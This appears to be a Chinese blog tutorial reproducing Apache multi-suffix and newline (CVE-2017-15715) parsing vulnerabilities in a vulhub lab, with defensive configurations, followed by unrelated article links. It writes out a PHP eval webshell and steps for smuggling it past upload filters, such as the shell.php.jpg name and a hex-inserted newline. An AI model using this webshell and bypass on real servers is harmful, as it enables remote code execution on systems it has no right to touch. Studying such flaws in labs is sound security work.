Apache解析漏洞复现

2023-09-14 12:32:58

一、多后缀解析漏洞
1.漏洞说明
配置apache时,对于apache配置不熟练,配置命令不清楚,在配置PHP文件处理程序时,配置命令存在问题:位于漏洞环境目录的
conf/docker-php.conf里的配置命令(AddHandler application/x-httpd-php
.php),该命令会将后缀中只要含有.php的文件都会被处理程序解析,这导致攻击者可通过多后缀绕过文件上传限制以.php结尾的机制,并使之被处理程序执行。
版本条件:Apache 1.x和Apache 2.x
2.搭建环境
cd vulhub/httpd/apache_parsing_vulnerability]
docker-compose up -d
在这里插入图片描述在这里插入图片描述

3.漏洞复现
打开文本编辑器,构造一句话木马,<?php @eval($_POST["fname"]);?>
文件命名为shell.php.jpg,将该文件上传
在这里插入图片描述

hackbar连接http://192.168.25.128/uploadfiles/shell.php.jpg
在这里插入图片描述

使用蚁剑连接成功
在这里插入图片描述
在这里插入图片描述

4.防御方法
a.拒绝所有文件名含有.php的文件
<FilesMatch “.php.”>
require all denied
b.处理程序只处理以.php 结尾 的文件
首先将上一个防御方案的配置命令注释掉
再注释掉原本的处理出现配置命令AddHandler application/x-httpd-php .php
<FilesMatch “.+.php$”>
SetHandler application/x-httpd-php
以上就是apache多后缀解析漏洞的知识的
二、换行解析漏洞
1.漏洞说明
1)查看网页的html代码可知,该文件上传时采用黑名单形式过滤掉php文件
在这里插入图片描述

2)配置文件中设置正则表达式 对象的 Multiline 属性
在这里插入图片描述

$ 还会匹配到字符串结尾的换行符,这导致在上传时,添加一个换行符也能被正常解析,并且能够绕过系统的黑名单检测。
2.搭建环境
cd /vulhub/httpd/CVE-2017-15715
docker-compose up -d
在这里插入图片描述
在这里插入图片描述

3.漏洞复现
构造一个简单的php文件
在这里插入图片描述在这里插入图片描述

上传它,然后打开bp,抓取上传数据包
找到文件上传后的名字,php后面加a,然后16进制里把a换成0a。(两处都要加a)

在这里插入图片描述在这里插入图片描述

放包,访问上传的文件上传成功
访问http://192.168.25.128:8080/evil.php%0a解析成功,可以成功看到phpinfo信息
在这里插入图片描述

使用蚁剑成功连接
在这里插入图片描述

4.漏洞防御方法
a.升级apache版本
b.对上传的文件进行重命名
c.上传时采用白名单的验证方式

更多推荐

用 Python实现Python解释器

介绍Byterun是一个用Python实现的Python解释器。随着我对Byterun的开发,我惊喜地的发现,这个Python解释器的基础结构用500行代码就能实现。在这一章我们会搞清楚这个解释器的结构,给你足够探索下去的背景知识。我们的目标不是向你展示解释器的每个细节---像编程和计算机科学其他有趣的领域一样,你可能

LeetCode 42. 接雨水

题目链接力扣(LeetCode)官网-全球极客挚爱的技术成长平台题目解析先算出每个位置的面积,然后把每个位置的面积相加就得到了最终可以接多少雨水!每个位置的面积等于(该位置左边包括自己最大的高度)与(该位置右边包括自己最大的高度)中最小的那个数,然后减去当前位置的高度,就是当前位置可以存放的雨水。首先定义两个数组lef

面试算法11:0和1个数相同的子数组

题目输入一个只包含0和1的数组,请问如何求0和1的个数相同的最长连续子数组的长度?例如,在数组[0,1,0]中有两个子数组包含相同个数的0和1,分别是[0,1]和[1,0],它们的长度都是2,因此输出2。分析首先把输入数组中所有的0都替换成-1,那么题目就变成求包含相同数目的-1和1的最长子数组的长度。在一个只包含数字

【ES6知识】ESModule 模块化

文章目录一、前言:模块化背景1.1后端模块化1.2关于前端模块化二、模块的导出三、模块的导入四、应用模块到HTML中五、exportdefault默认导出命令六、重命名导出与导入七、创建模块对象八、动态加载模块一、前言:模块化背景JavaScript程序本来很小——在早期,它们大多被用来执行独立的脚本任务,在你的web

MySQL性能分析常见方式

1、慢查询SQL日志查看慢SQL是否开启showvariableslike'%slow_query_log';执行下面的命令开启慢查询日志setglobalslow_query_log='ON';修改慢查询阈值#N为设置的时间setglobal/sessionlong_query_time=N;查看设置的慢查询时间sh

零基础学前端(七)将项目发布成网站

我们学习了HTML和CSS,已经可以做出精美的静态网页。我们不慌学习JavaScript,因为Javascript的作用是为网页增加动作和数据交换,只能让网页更完美而已,现在网页的基础我们已经可以搭建,我们不妨先将网站发布出去,让更多人看到你所作的内容。我想这是非常有意义的,让人激动人心的。一、导言发布网站才是编程中最

【Linux】【网络】传输层协议:UDP

文章目录UDP协议1.面向数据报2.UDP协议端格式3.UDP的封装和解包4.UDP的缓冲区UDP协议UDP传输的过程类似于寄信。无连接:知道对端的IP和端口号就直接进行传输,不需要建立连接。不可靠:没有确认机制,没有重传机制;如果因为网络故障该段无法发到对方,UDP协议层也不会给应用层返回任何错误信息。面向数据报:不

spring seccurity OAuth 2.0授权服务器工作流程

一、客户端配置:在configure(ClientDetailsServiceConfigurerclients)方法中,配置了一个客户端,包括客户端标识符、客户端秘密、授权类型、授权范围和令牌有效期等信息。这个客户端表示某个应用程序或服务,它将向授权服务器请求访问令牌。二、请求授权码:客户端应用程序首先将用户重定向到

文件包含漏洞

一、文件包含函数:将外部文件的内容引入当前环境:#include<stdio.h>includerequireinclude_oncerequire_oncehightlight_fileshow_sourcereadfilefile_get_contentsfopenfilephp文件包含函数:<?phpinclud

【搭建私人图床】本地PHP搭建简单Imagewheel云图床,在外远程访问

文章目录1.前言2.Imagewheel网站搭建2.1.Imagewheel下载和安装2.2.Imagewheel网页测试2.3.cpolar的安装和注册3.本地网页发布3.1.Cpolar临时数据隧道3.2.Cpolar稳定隧道(云端设置)3.3.Cpolar稳定隧道(本地设置)4.公网访问测试5.结语1.前言云存储

分享!JetBrains IDE中的GitLab支持

GitLab是流行的基于git的软件开发和部署平台之一,虽然很长一段时间以来,所有基本git操作都已经可以通过GitLab实现,但GitLab集成仍是JetBrains社区的一大最热门请求。为此,JetBrains团队今年与GitLab联手提供了这种类型的集成。JetBrains官方认为此类集成包括的各种功能可能会影响

热文推荐